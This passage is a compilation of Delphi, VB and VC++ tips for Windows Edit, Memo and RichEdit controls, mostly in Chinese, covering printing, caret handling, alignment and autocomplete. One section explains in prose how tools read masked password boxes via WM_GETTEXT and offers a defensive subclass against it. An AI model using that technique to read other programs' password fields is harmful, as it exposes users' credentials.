// screen (WPARAM is non-zero).

fr.hdc := hdcCanvas;

fr.hdcTarget := 0;

fr.rc := FPageOffsets[currPage].rendRect;

fr.rcPage := pageRect;

fr.chrg.cpMin := FPageOffsets[currPage].mStart;

fr.chrg.cpMax := FPageOffsets[currPage].mEnd;

fr.chrg.cpMin := SendMessage(Form1.Editor.Handle, EM_FORMATRANGE, 1, Longint(@fr));

// As I mentioned, the text may be drawn outside of the rendering rectangle.

// To make that easier to see,

// let's draw a rectangle that shows where the rendering rectangle should be

SetMapMode(hdcCanvas, MM_TEXT);

SetViewportOrgEx(hdcCanvas, 0, 0, nil);

frameRect := rendRect;

OffsetRect(frameRect, 1440 + 1440, 1440 + 1440);

xFactor := MulDiv(PreviewPanel.ClientWidth,

(pageRect.Right - rendRect.Right) shr 1, pageRect.Right);

yFactor := MulDiv(PreviewPanel.ClientHeight,

(pageRect.Bottom - rendRect.Bottom) shr 1, pageRect.Bottom);

frameRect.Left := xFactor;

frameRect.Right := PreviewPanel.ClientWidth - xFactor;

frameRect.Top := yFactor;

frameRect.Bottom := PreviewPanel.ClientHeight - yFactor;

Windows.FrameRect(hdcCanvas, frameRect, GetStockObject(BLACK_BRUSH));

// To wrap up, we restore the panel's canvas to the original state,

// release the desktop DC, clear the Rich

// Edit control's formatting buffer, empty the page offset table,

and Close the DrawRichEdit() method.RestoreDC(hdcCanvas, - 1);

ReleaseDC(GetDesktopWindow, hdcDesktop);

SendMessage(Form1.Editor.Handle, EM_FORMATRANGE, 0, 0);

Finalize(FPageOffsets);

end;

(*****************************************************)

(* Alles über den Nachfahren von TPanel *)

(*****************************************************)

constructor TPreviewPanel.Create(Owner: TComponent);

begin

inherited Create(Owner);

end;

destructor TPreviewPanel.Destroy;

begin

inherited Destroy

end;

procedure TPreviewPanel.Paint;

begin

inherited Paint;

PreviewForm.DrawRichEdit;

end;

end.

------------------------------------------------------------------------------

...print a rtf file and specify a page range to be printed?

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, RichEdit, RxRichEd, ExtCtrls, Printers;

type

TPageOffset = record

mStart,

mEnd: Integer;

rendRect: TRect;

end;

TForm1 = class(TForm)

Panel1: TPanel;

Editor: TRxRichEdit;

PrintBtn: TButton;

PreviewBtn: TButton;

CloseBtn: TButton;

procedure PrintBtnClick(Sender: TObject);

procedure PreviewBtnClick(Sender: TObject);

procedure CloseBtnClick(Sender: TObject);

procedure FormShow(Sender: TObject);

private

{ Private-Deklarationen }

public

{ Public-Deklarationen }

end;

var

Form1: TForm1;

implementation

uses Unit2;

{$R *.dfm}

procedure TForm1.PrintBtnClick(Sender: TObject);

var

wPage, hPage, xPPI, yPPI, wTwips, hTwips: integer;

pageRect, rendRect: TRect;

po: TPageOffset;

fr: TFormatRange;

lastOffset, currPage, pageCount: integer;

xOffset, yOffset: integer;

FPageOffsets: array of TPageOffset;

TextLenEx: TGetTextLengthEx;

firstPage: boolean;

begin

//First, get the size of a printed page in printer device units

wPage := GetDeviceCaps(Printer.Handle, PHYSICALWIDTH);

hPage := GetDeviceCaps(Printer.Handle, PHYSICALHEIGHT);

//Next, get the device units per inch for the printer

xPPI := GetDeviceCaps(Printer.Handle, LOGPIXELSX);

yPPI := GetDeviceCaps(Printer.Handle, LOGPIXELSY);

//Convert the page size from device units to twips

wTwips := MulDiv(wPage, 1440, xPPI);

hTwips := MulDiv(hPage, 1440, yPPI);

//Save the page size in twips

with pageRect do

begin

Left := 0;

Top := 0;

Right := wTwips;

Bottom := hTwips

end;

//Next, calculate the size of the rendering rectangle in twips

//Rememeber - two inch margins are hardcoded, so the below code

//reduces the width of the output by four inches

with rendRect do

begin

Left := 0;

Top := 0;

Right := pageRect.Right - (1440 * 4);

Bottom := pageRect.Bottom - (1440 * 4)

end;

//Define a single page and set starting offset to zero

po.mStart := 0;

//Define and initialize a TFormatRange structure. This structure is passed

//to the TRichEdit with a request to format as much text as will fit on a

//page starting with the chrg.cpMin offset and ending with the chrg.cpMax.

//Initially, we tell the RichEdit control to start at the beginning

//(cpMin = 0) and print as much as possible (cpMax = -1). We also tell it

//to render to the printer

with fr do

begin

hdc := Printer.Handle;

hdcTarget := Printer.Handle;

chrg.cpMin := po.mStart;

chrg.cpMax := -1;

end;

//In order to recognize when the last page is rendered, we need to know how

//much text is in the control.

if RichEditVersion >= 2 then

begin

with TextLenEx do

begin

flags := GTL_DEFAULT;

codepage := CP_ACP;

end;

lastOffset := SendMessage(Editor.Handle, EM_GETTEXTLENGTHEX, wParam(@TextLenEx), 0)

end

else

lastOffset := SendMessage(Editor.Handle, WM_GETTEXTLENGTH, 0, 0);

//As a precaution, clear the formatting buffer

SendMessage(Editor.Handle, EM_FORMATRANGE, 0, 0);

//Printers frequently cannot print at the absolute top-left position on the

//page. In other words, there is usually a minimum margin on each edge of the

//page. When rendering to the printer, RichEdit controls adjust the top-left

//corner of the rendering rectangle for the amount of the page that is

//unprintable. Since we are printing with two-inch margins, we are presumably

//already within the printable portion of the physical page.

SaveDC(fr.hdc);

SetMapMode(fr.hdc, MM_TEXT);

xOffset := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETX);

yOffset := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETY);

xOffset := xOffset + MulDiv(1440 + 1440, xPPI, 1440);

yOffset := yOffset + MulDiv(1440 + 1440, yPPI, 1440);

SetViewportOrgEx(fr.hdc, xOffset, yOffset, nil);

//Now we build a table of page entries, one entry for each page that would be

//printed.

while ((fr.chrg.cpMin <> -1) and (fr.chrg.cpMin < lastOffset)) do

begin

fr.rc := rendRect;

fr.rcPage := pageRect;

po.mStart := fr.chrg.cpMin;

fr.chrg.cpMin := SendMessage(Editor.Handle, EM_FORMATRANGE, 0, Longint(@fr));

po.mEnd := fr.chrg.cpMin - 1;

po.rendRect := fr.rc;

if High(FPageOffsets) = -1 then SetLength(FPageOffsets, 1)

else

SetLength(FPageOffsets, Length(FPageOffsets) + 1);

FPageOffsets[High(FPageOffsets)] := po

end;

pageCount := Length(FPageOffsets);

ShowMessage(Format('Es wurde %d Seiten ermittelt', [pageCount]));

SendMessage(Editor.Handle, EM_FORMATRANGE, 0, 0);

RestoreDC(fr.hdc, - 1);

//Now, we are almost ready to actually print.

Printer.BeginDoc;

fr.hdc := Printer.Handle;

fr.hdcTarget := Printer.Handle;

SaveDC(fr.hdc);

SetViewportOrgEx(fr.hdc, xOffset, yOffset, nil);

//Ok, here we go to print

firstPage := True;

//At this point you can select from page and to page

currPage := 0; //Print from the first page

pageCount := 1; //Only One page for testing

while (currPage < pageCount) do

begin

if firstPage then firstPage := False

else

Printer.NewPage;

SetViewportOrgEx(fr.hdc, xOffset, yOffset, nil);

fr.rc := FPageOffsets[currPage].rendRect;

fr.rcPage := pageRect;

fr.chrg.cpMin := FPageOffsets[currPage].mStart;

fr.chrg.cpMax := FPageOffsets[currPage].mEnd;

fr.chrg.cpMin := SendMessage(Editor.Handle, EM_FORMATRANGE, 1, Longint(@fr));

Inc(currPage);

end;

//At this point, we have finished rendering the contents of the RichEdit

//control. Now we restore the printer's HDC settings and tell Windows that

//we are through printing this document

RestoreDC(fr.hdc, - 1);

Printer.EndDoc;

//Finally, we clear the RichEdit control's formatting buffer and delete

//the saved page table information

fr.chrg.cpMin := SendMessage(Editor.Handle, EM_FORMATRANGE, 0, 0);

Finalize(FPageOffsets);

//That's it

end;

procedure TForm1.PreviewBtnClick(Sender: TObject);

begin

PreviewForm.ShowModal

end;

procedure TForm1.CloseBtnClick(Sender: TObject);

begin

Close

end;

procedure TForm1.FormShow(Sender: TObject);

begin

Editor.Lines.LoadFromFile('Exceltabelle.rtf');

end;

end.


如何让Edit从右向左显示

继承TEdit，重载CreateParams，修改Param即可。

procedure TEdit_Ex.CreateParams(var Params: TCreateParams);

begin

inherited;

if self.FTextOnRight then Params.Style:=Params.Style or ES_RIGHT;

end;


如何捕捉Tmemo的scollbar的事件
inherited message wm_hscroll and wm_vscroll


在MEMO中显示图像

用Memo显示图片，你可以自己改改这个控件，处理memo的 WM_Paint消息，画个图片。

type

TMyMemo = class(TMemo)

protected

procedure WMPaint(var Message: TWMPaint); message WM_PAINT;

end;

procedure TMyMemo.WMPaint(var Message: TWMPaint);

var

MCanvas: TControlCanvas;

DrawBounds : TRect;

Begin

inherited;

MCanvas:=TControlCanvas.Create;

DrawBounds := ClientRect; // Work with temporary TRect record.

Try

MCanvas.Control:=Self;

With MCanvas do

Begin

Brush.Color := clBtnFace;

FrameRect( DrawBounds );

InflateRect( DrawBounds, -1, -1);

FrameRect( DrawBounds );

FillRect ( DrawBounds );

MoveTo ( 33, 0 );

Brush.Color := clWhite;

LineTo ( 33, ClientHeight );

PaintImages;//定义的画图片过程

end;

finally

MCanvas.Free;

End;

end;

procedure TMyMemo.PaintImages;

var

MCanvas: TControlCanvas;

DrawBounds : TRect;

i, j : Integer;

OriginalRegion : HRGN;

ControlDC : HDC;

begin

MCanvas:=TControlCanvas.Create;

DrawBounds := ClientRect; // Work with temporary TRect record.

try

MCanvas.Control:=Self;

ControlDC := GetDC ( Handle );

MCanvas.Draw(0, 1, Application.Icon);

finally

MCanvas.Free;

end;

end;


在Memo里实现文本的拖放

在Memo里实现文本的拖放

type

TMyMemo = class(TMemo)

private

FLastSelStart : Integer;

FLastSelLength : Integer;

procedure WMLButtonDown(var Message: TWMLButtonDown);

message WM_LBUTTONDOWN;

published

property LastSelStart : Integer read FLastSelStart

write FLastSelStart;

property LastSelLength : Integer read FLastSelLength

write FLastSelLength;

end;

Make the implementation of WMLButtonDown look like this:

procedure TMyMemo.WMLButtonDown(var Message: TWMLButtonDown);

var

Ch:Integer;

begin

if SelLength>0 then

begin

Ch:=LoWord(Perform(EM_CHARFROMPOS,0,MakeLParam(Message.XPos,Message.YPos)));

LastSelStart:=SelStart;

LastSelLength:=SelLength;

if (Ch>=SelStart) and (Ch<=SelStart+SelLength-1) then

BeginDrag(True)

else

inherited;

end

else

inherited;

end;

Now, install this component into a package, start a brand new project

in Delphi 3 and drop two TMyMemos down.

Make them both have an OnDragOver event handler looking like this:

procedure TForm1.MyMemo1DragOver(Sender,Source:TObject;X,Y:Integer;State:TDragState;var Accept:Boolean);

begin

Accept:=Source is TMyMemo;

end;

Make them both have an OnDragDrop event handler looking like this:

procedure TForm1.MyMemo1DragDrop(Sender, Source: TObject;X,Y:Integer);

var

Dst,Src:TMyMemo;

Ch :Integer;

Temp :String;

begin

Dst:=SenderasTMyMemo;

Src:=SourceasTMyMemo;

Ch:=LoWord(Dst.Perform(EM_CHARFROMPOS,0,MakeLParam(X,Y)));

if (Src=Dst) and (Ch>=Src.LastSelStart) and (Ch<=Src.LastSelStart+Src.LastSelLength-1) then

Exit;

Dst.Text:=Copy(Dst.Text,1,Ch)+Src.SelText+Copy(Dst.Text,Ch+1,Length(Dst.Text)-Ch);

Temp:=Src.Text;

Delete(Temp,Src.LastSelStart+1,Src.LastSelLength);

Src.Text:=Temp;

end;


Memo中光标的移动
SendMessage(Memo1.handle,WM_KEYDOWN,VK_RIGHT,1);


确定memo中光标当前的位置

Delphi中有控件MEMO，当使用应控件输入内容或编辑时，如何确定光标当前的位置呢？这时就可以调用WINDOWS API中的EM_LINEFROMCHAR和EM_LINEINDEX消息来确定MEMO控件中光标的当前行和列，具体调用方法的过程如下：

procedure TForm1.Button1Click(Sender: TObject);

var

LineNum:longint;

CharsBeforeLine:longint;

begin

LineNum := SendMessage(Memo1.Handle,EM_LINEFROMCHAR,

                        Memo1.SelStart,0);

CharsBeforeLine:=SendMessage(Memo1.Handle,EM_LINEINDEX,

                        LineNum,0);

Label1.Caption:='Line: '+IntToStr(LineNum + 1);

Label2.Caption:='Position: '+IntToStr((Memo1.SelStart -

                                 CharsBeforeLine)+1);

end;

//另一种方法

定义变量iLine: Integer;

{ 使用em_LineFromChar消息 }

iLine := Memo1.Perform(em_LineFromChar, $FFFF, 0);

{ 第一行为0 }

messageDlg('行号: ' + IntToStr(iLine), mtInformation,[mbOK], 0 ) ;


调整Memo的Tab的距离

procedure TForm1.FormCreate(Sender: TObject);

var

DialogUnitsX:LongInt;

PixelsX:LongInt;

i:integer;

TabArray:array[0..4] of integer;

begin

Memo1.WantTabs:=true;

DialogUnitsX:=LoWord(GetDialogBaseUnits);

PixelsX:=20;

for i:=1 to 5 do

TabArray[i-1]:=((PixelsX*i)*4) div DialogUnitsX;

SendMessage(Memo1.Handle,EM_SETTABSTOPS,5,LongInt(@TabArray));

Memo1.Refresh;

end;


限制Memo的行数和行宽

限制Memo的行数和行宽

type

TForm1 = class(TForm)

Memo1: TMemo;

procedure FormCreate(Sender: TObject);

procedure Memo1KeyPress(Sender: TObject; var Key: Char);

public

MaxCharsPerLine, MaxLines: Integer;

function MemoLine: Integer;

function LineLen(r: Integer): Integer;

function NRows: Integer;

end;

function TForm1.NRows: Integer;

begin

with Memo1 do

Result:=1+SendMessage(Handle,EM_LINEFROMCHAR,GetTextLen-1,0);

end;

function TForm1.LineLen(r: Integer): Integer;

var

r1,r2:Integer;

begin

with Memo1 do begin

r1:=SendMessage(Handle,EM_LINEINDEX,r,0);

if r<NRows-1 then

r2:=SendMessage(Handle,EM_LINEINDEX,r+1,0)-2{-CR/LF}

else

r2:=GetTextLen;

end;

Result:=r2-r1;

end;

function TForm1.MemoLine: Integer;

begin

with Memo1 do

Result:=SendMessage(Handle,EM_LINEFROMCHAR,SelStart,0);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

MaxCharsPerLine := 8;

MaxLines := 4;

end;

procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);

begin

with Memo1 do

begin

case Key of

' '..#255: if LineLen(MemoLine)>=MaxCharsPerLine then

Key:=#0;

#10, #13: if NRows>=MaxLines then

Key:=#0;

#8: if SelStart=SendMessage(Handle,EM_LINEINDEX,MemoLine,0) then

Key:=#0;

end;

end;

end;


当我在Memo中增加一行后，我如何能使最后一行总能显示出来

SendMessage(Memo1->Handle,EM_SCROLL,SB_LINEDOWN,0); a


关于MEMO的UNDO功能

在平常,你可以在MEMO中使用Ctrl-Z进行UNDO操作,但在程序中,

你可以使用:

Memo1.Perform(EM_UNDO, 0, 0);

进行UNDO操作.

当你使用一个enable/disable的菜单时,你可以使用:

Undo1.Enabled := Memo1.Perform(EM_CANUNDO, 0, 0) <> 0;


Edit&Memo控件的文本得对齐方式

如何使TEDIT控件中的TEXT显示在控件的中间或下面(一般在上面),

像TLABEL中的LAYOUT至为CENTER一样

var

Rct: TRect;

begin

Rct := edit1.ClientRect;

Inc(Rct.Top, 3);

sendmessage(edit1.handle, EM_SETRECT, 0, Integer(@Rct));

end;

EM_SETRECT 只对于 Multiline Edit 有效？ :-)

An application sends an EM_SETRECT message to set the formatting rectangle of a

multiline edit control.

换成 Memo 就可以了。

procedure TForm1.Button2Click(Sender: TObject);

var

Rct: TRect;

begin

SendMessage(Memo1.Handle, EM_GETRECT, 0, Integer(@Rct));

Inc(Rct.Top, 5);

SendMessage(Memo1.Handle, EM_SETRECT, 0, Integer(@Rct));

end;

那也简单, 那些语句前加一句

SetWindowLong(edit.Handle,GWL_STYLE, GetWindowLong(edit.Handle, GWL_STYLE) or ES_MULTILINE);

不过需要多写个OnKeyPress事件过滤掉输入的回车符.

最好自己继承TEdit做个有这功能的控件. 事实上很简单的.

unit JackEdit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TKeySet = (ksReturn, ksEscape);

TKeySets = set of TKeySet;

TJackEdit = class(TEdit)

private

{ Private declarations }

FAlignment: TAlignment;

FKeys: TKeySets;

procedure SetAlignment(value: TAlignment);

protected

{ Protected declarations }

procedure CreateParams(var Params: TCreateParams); override;

procedure KeyPress(var Key: Char); override;

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

{ Published declarations }

property Alignment: TAlignment read FAlignment write SetAlignment default taLeftJustify;

property Keys: TKeySets read FKeys write FKeys;

end;

procedure Register;

implementation

procedure TJackEdit.SetAlignment(value: TAlignment);

begin

if value <> FAlignment then

begin

FAlignment := value;

RecreateWnd;

end;

end;

procedure TJackEdit.KeyPress(var Key: Char);

begin

if ksReturn in Keys then

begin

if Key = Chr(Vk_Return) then

begin

Key := Chr(0);

(Owner as TControl).Perform(wm_NextDlgCtl,0,0);

end;

end;

if ksEscape in Keys then

begin

if Key = Chr(Vk_Escape) then

begin

Key := Chr(0);

(Owner as TControl).Perform(wm_NextDlgCtl,1,0);

end;

end;

inherited KeyPress(Key);

end;

procedure TJackEdit.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

case Alignment of

taLeftJustify : Params.Style := Params.Style or (ES_LEFT or Es_MULTILINE);

taRightJustify : Params.Style := Params.Style or (ES_RIGHT or ES_MULTILINE);

taCenter : Params.Style := Params.Style or (ES_CENTER or Es_MULTILINE);

end;

end;

constructor TJackEdit.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FAlignment := taLeftJustify;

end;

destructor TJackEdit.Destroy;

begin

inherited Destroy;

end;

procedure Register;

begin

RegisterComponents('Jack', [TJackEdit]);

end;

end.


如何防止Edit框中的Password不被非法获取

----Windows虽然是一个功能强大的操作系统，但其存在的一些先天性不足，给黑客留下了

许多可乘之机，著名的BO程序就是利用Windows的这些漏洞来危害计算机的安全。笔者

最近发现了一个很流行的专门获取Edit框Password的工具，甚至其源代码已在某报纸发表，

这无疑是对Edit的Password功能的完全否定。本文将首先分析非法获取Password的原理，

然后给出用VisualC++来实现保护Edit框中的Password不被非法获取的对策。

----(一)非法获取Password的原理

----Edit是Windows的一个标准控件，当把其Password属性设为True时,就会将输入的内容

屏蔽为星号(*)，从而达到保护的目的。

而Edit框中的内容可通过发WM_GETTEXT,EM_GETLINE消息来获取。黑客程序就是利

用Edit的这个特性，首先枚举当前程序的所有子窗口，当发现枚举的窗口是EDIT并且具

有ES_PASSWORD属性时，则通过SendMessage向此窗口发送WM_GETTEXT或

EM_GETLINE消息，这样Edit框中的内容就一目了然了。

----(二)对Password进行保护

----由上述分析可看出，Edit的漏洞在于没有检查发送WM_GETTEXT或EM_GETLINE消

息者的身份，只要找到Edit窗口句柄，任何进程都可获取其内容。这里给出一种简单的方

法来验证发送消息者的身份是否合法。

----1)创建新CEdit类

----从CEdit继承一个子类CPasswordEdit,申明全局变量g_bAuthorIdentity表明消息发送者的身份:

BOOL g_bAuthorIdentity;

----然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:

LRESULT CPasswordEdit::DefWindowProc(UINTmessage,WPARAMwParam,LPARAMlParam)

{//对Edit的内容获取必须通过以下两个消息之一

if((message==WM_GETTEXT)||(message==EM_GETLINE))

{//检查是否为合法

if(!g_bAuthorIdentity)

{//非法获取,显示信息

AfxMessageBox(_T("我的密码,可不能让你看哦!"));

//

return0;

}

//合法获取

g_bAuthorIdentity=FALSE;

}

return CEdit::DefWindowProc(message,wParam,lParam);

}

----2)在数据输入对话框中做处理

----在对话框中申明一个类成员m_edtPassword:

CPasswordEdit m_edtPassword;

----然后在对话框的OnInitDialog()中加入下列代码:

m_edtPassword.SubclassDlgItem(IDC_EDIT_PASSWORD,this);

----其目的是将控制与新类做关联。

----之后在对话框的数据交换中将身份设为合法:

void CDlgInput::DoDataExchange(CDataExchange*pDX)

{//如果获取数据

//注意：对于CPropertyPage类这里不需要if(pDX->m_bSaveAndValidate)条件

if(pDX->m_bSaveAndValidate)

{

g_bAuthorIdentity=TRUE;

}

CDialog::DoDataExchange(pDX);

//{{AFX_DATA_MAP(CDlgInput)

DDX_Text(pDX,IDC_EDIT_PASSWORD,m_sPassword);

//}}AFX_DATA_MAP

}

----这样，Password输入框就会受到保护。

----(三)需要注意的问题

----以上的方法仅针对VC程序，对于VB程序，需要借助VC做一个Password的ActiveX

控件，实现方法与上类似。同时以上程序在VisualC++6.0上通过，并且用黑客程序PWBTool

测试通过。


为TEdit添加IE的地址自动完成功能

自动补全文件路径和名称。

function SHAutoComplete(h:hwnd;f:dword):dword;stdcall;external 'Shlwapi.dll';

procedure TForm1.Button1Click(Sender: TObject);

begin

SHAutoComplete(Edit1.Handle,0);

end;

**************************

对文本框添加 IE5 的自动完成功能

  IE5 introduced the AutoComplete feature, and its available for both standard VB text boxes and combo boxes using style 0 or 1. The routine here just demonstrates the textbox, but its easily extended to include the combo by passing the handle of the edit control (not the handle to the combo box - see related topics above). When used with the combo box, the AutoComplete dropdown appears in addition to the standard drop down; its data does not replace the dropdown contents.

  Use of this API is limited to systems with IE5 or greater, so a handy routine for determining the IE version is included. And although the MSDN states that CoInitialize must be called before using this API, and CoUninitialize called when the edit control has been destroyed, VB takes care of handling this task naturally.

Add a label (Label1), and text box (Text1) and a command button (Command1) to a form, and add the following:

-----------------------------------------------------------------------------

Option Explicit

'Flags to control the operation of SHAutoComplete.

'The first four are used to override the Internet

'Explorer registry settings. The user can change

'these settings manually by launching the Internet

'Options property sheet from the Tools menu and

'clicking the Advanced tab.The last five can be

'used to specify which files or URLs will be

'available for autoappend or autosuggest operations.

'Ignore registry default and force feature on

Private Const SHACF_AUTOSUGGEST_FORCE_ON　As Long = &H10000000

'Ignore registry default and force feature off.

Private Const SHACF_AUTOSUGGEST_FORCE_OFF　As Long = &H20000000

'Ignore registry default and force feature on. (Also know as AutoComplete)

Private Const SHACF_AUTOAPPEND_FORCE_ON　As Long = &H40000000

'Ignore registry default and force feature off. (Also know as AutoComplete)

Private Const SHACF_AUTOAPPEND_FORCE_OFF　As Long = &H80000000

'Currently (SHACF_FILESYSTEM | SHACF_URLALL)

Private Const SHACF_DEFAULT　As Long = &H0

'Includes the File System as well as the rest

'of the shell (DesktopComputerPanel)

Private Const SHACF_FILESYSTEM　As Long = &H1

'URLs in the User's History

Private Const SHACF_URLHISTORY　As Long = &H2

'URLs in the User's Recently Used list

Private Const SHACF_URLMRU　As Long = &H4

Private Const SHACF_URLALL　As Long = (SHACF_URLHISTORY Or SHACF_URLMRU)

'Identifies the platform for which the DLL was built.

Private Const DLLVER_PLATFORM_WINDOWS As Long = &H1　'Windows 95

Private Const DLLVER_PLATFORM_NT As Long = &H2　　　 'Windows NT

Private Type DllVersionInfo

   cbSize As Long

   dwMajorVersion As Long

   dwMinorVersion As Long

   dwBuildNumber As Long

   dwPlatformID As Long

End Type

Private Declare Function SHAutoComplete _

   Lib "Shlwapi.dll" _

  (ByVal hwndEdit As Long, _

   ByVal dwFlags As Long) As Long

Private Declare Function DllGetVersion _

   Lib "Shlwapi.dll" _

  (dwVersion As DllVersionInfo) As Long

Private Function GetIEVersion(DVI As DllVersionInfo) As Long

   DVI.cbSize = Len(DVI)

   Call DllGetVersion(DVI)

   GetIEVersion = DVI.dwMajorVersion

End Function

Private Function GetIEVersionString() As String

   Dim DVI As DllVersionInfo

   DVI.cbSize = Len(DVI)

   Call DllGetVersion(DVI)

   GetIEVersionString = "Internet Explorer " & _

                        DVI.dwMajorVersion & "." & _

                        DVI.dwMinorVersion & "." & _

                        DVI.dwBuildNumber

End Function

Private Sub Command1_Click()

   Dim DVI As DllVersionInfo

   If GetIEVersion(DVI) >= 5 Then

     'Turn on auto-complete

      Call SHAutoComplete(Text1.hWnd, SHACF_DEFAULT)

     'update the captions and set focus to the textbox

      Command1.Caption = "SHAutoComplete is On"

      Command1.Enabled = False

      Text1.SetFocus

      Text1.SelStart = Len(Text1.Text)

   Else

     'damn!

      MsgBox "Sorry ... you need IE5 to use this demo", vbExclamation

   End If

End Sub

Private Sub Form_Load()

  'dim a DllVersionInfo type

   Dim DVI As DllVersionInfo

  'display the version of Shlwapi

   Label1 = "Using Shlwapi.dll for " & GetIEVersionString

  'if not 5 or greater, can't do it

   Command1.Enabled = GetIEVersion(DVI) >= 5

   Command1.Caption = "SHAutoComplete is Off"

End Sub

'--end block--'


插入和改写

{ TOvrEdit

--------

An improved TEdit component which reflect keyboard

insert/overwrite mode, Special desiged for Windows

Traditional Chinese Version.

by Wolfgang Chien <wolfgang@ms2.hinet.net>

}

unit OEdit;

interface

{$ifdef Windows}

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,

Controls, Forms, Dialogs, StdCtrls;

{$endif}

{$ifdef Win32}

uses

SysUtils, Windows, Messages, Classes, Graphics,

Controls, Forms, Dialogs, StdCtrls;

{$endif}

type

TInsertKeyStates = (iksInsert, iksOverWrite);

TOvrEdit = class(TEdit)

private

FTabOnEnter: boolean;

FInsertKeyState: boolean;

procedure WMChar(var Msg: TWMKey); message WM_Char;

protected

procedure KeyDown(var Key: Word; Shift: TShiftState); override;

procedure KeyPress(var Key: Char); override;

function GetInsertKeyState: TInsertKeyStates;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

property InsertKeyState: TInsertKeyStates read GetInsertKeyState;

published

property TabOnEnter: boolean

read FTabOnEnter write FTabOnEnter default True;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [TOvrEdit]);

end;

constructor TOvrEdit.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

TabOnEnter := True;

end;

(* -------------------------------------------------- *)

destructor TOvrEdit.Destroy;

begin

inherited Destroy;

end;

(* -------------------------------------------------- *)

procedure TOvrEdit.KeyDown(var Key: Word;

Shift: TShiftState);

begin

if TabOnEnter then

begin

case Key of

vk_Down: { Dn-Arrow Key }

begin

SendMessage(GetParentForm(Self).Handle, wm_NextDlgCtl, 0, 0);

Key := 0;

end;

vk_Up: { Up-Arrow Key }

begin

SendMessage(GetParentForm(Self).Handle, wm_NextDlgCtl, 1, 0);

Key := 0;

end;

end;

end;

if Key <> 0 then inherited KeyDown(Key, Shift);

end;

(* -------------------------------------------------- *)

procedure TOvrEdit.KeyPress(var Key: Char);

begin

if TabOnEnter and (Key = #13) then { Enter Key }

begin

SendMessage(GetParentForm(Self).Handle, wm_NextDlgCtl, 0, 0);

Key := #0;

end;

if Key <> #0 then inherited KeyPress(Key);

end;

(* -------------------------------------------------- *)

function TOvrEdit.GetInsertKeyState: TInsertKeyStates;

begin

if GetKeyState(VK_INSERT) = 0 then

Result := iksInsert

else

Result := iksOverWrite;

end;

(* -------------------------------------------------- *)

procedure TOvrEdit.WMChar(var Msg: TWMKey);

begin

{ if Overwrite state and user select nothing }

if (InsertKeyState = iksOverWrite) and (SelLength = 0)

and (SelStart < GetTextLen) then

begin

{ ASCII Extend code > 127 ==> Chinese word Lead-byte, BIG-5 }

if Msg.CharCode > 127 then

SelLength := 2

else

begin

SelLength := 2;

{ if char on current Caret positon is a Chinese word }

if Ord(SelText[1]) > 127 then

SelLength := 2

else

SelLength := 1;

end;

end;

inherited;

end;

end.


Memo的自动滚动

procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

begin

if Key = VK_F8 then

SendMessage(Memo1.Handle, { HWND of the Memo Control }

WM_VSCROLL, { Windows Message }

SB_PAGEDOWN, { Scroll Command }

0) { Not Used }

else if Key = VK_F7 then

SendMessage(Memo1.Handle, { HWND of the Memo Control }

WM_VSCROLL, { Windows Message }

SB_PAGEUP, { Scroll Command }

0); { Not Used }

end;


计算Memo或者RichEdit每屏显示的行数

这样：

function TForm1.MemoLinesShowing(memo: TMemo): integer;

var

R: TRect;

begin

Memo.Perform(EM_GETRECT, 0, Longint(@R));

Result := (R.Bottom - R.Top) div Canvas.TextHeight('XXX');

end;

问题是，TForm 和TMemo 需要用同样的字体。

如果不同，可以用以下代码：

function TForm1.MemoLinesShowingLong(Memo: TMemo): integer;

Var

Oldfont: HFont; {the old font}

DC: THandle; {Device context handle}

i: integer; {loop variable}

Tm: TTextMetric; {text metric structure}

TheRect: TRect;

begin

DC := GetDC(Memo.Handle); {Get the memo's device context}

try

{Select the memo's font}

OldFont := SelectObject(DC, Memo.Font.Handle);

try

GetTextMetrics(DC, Tm); {Get the text metric info}

Memo.Perform(EM_GETRECT, 0, longint(@TheRect));

Result := (TheRect.Bottom - TheRect.Top) div

(Tm.tmHeight + Tm.tmExternalLeading);

finally

SelectObject(DC, Oldfont); {Select the old font}

end;

finally

ReleaseDC(Memo.Handle, DC); {Release the device context}

end;

end;


统计选定的行数

//统计选定的行数：

function GetMemoSelectLineCount:integer;

var

s,e:integer;

begin

with memo1 do begin

s:=sendmessage(handle,EM_LINEFROMCHAR,selstart,0);

e:=sendmessage(handle,EM_LINEFROMCHAR,selstart+selLength,0);

end;

result:=e-s;

end; 如果没有问题，给分吧。


设置光标位置

procedure SetCaret(RTF: TRichEdit; var row, col: word);

var

i,iStopLine,iSelStart:integer;

Strings:TStrings;

begin

if (RTF=nil) then exit;

Strings:=RTF.Lines;

if Row=0 then Row:=1;

if Col=0 then Col:=1;

//到第Row列，Col行共几个字元

iStopLine:=Row-1;

iSelStart:=0;

for i:=0 to Strings.Count-1 do

begin

if i=iStopLine then

begin

if Length(Strings[i])>Col then

Inc(iSelStart,Col)

else

Inc(iSelStart,Length(Strings[i])+2);

Break;

end;

Inc(iSelStart,Length(Strings[i])+2);

end;

if iSelStart>0 then Dec(iSelStart);

//以设定标记的方式指定游标位置

RTF.SelStart :=iSelStart;// + Length(RTF.Lines[i])+2;

//再次侦测游标位置

Row:=SendMessage(RTF.Handle,EM_LINEFROMCHAR,RTF.SelStart,0);

Col:=RTF.SelStart-SendMessage(RTF.Handle,EM_LINEINDEX,Row,0);

//卷到游标所在位置

SendMessage(RTF.Handle,EM_SCROLLCARET,0,0);

end;


改变文本光标状态

CreateCaret()

showcaret()

destroycaret();

HideCaret();

***********

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls;

const

wm_newcaret=wm_user+1;

type

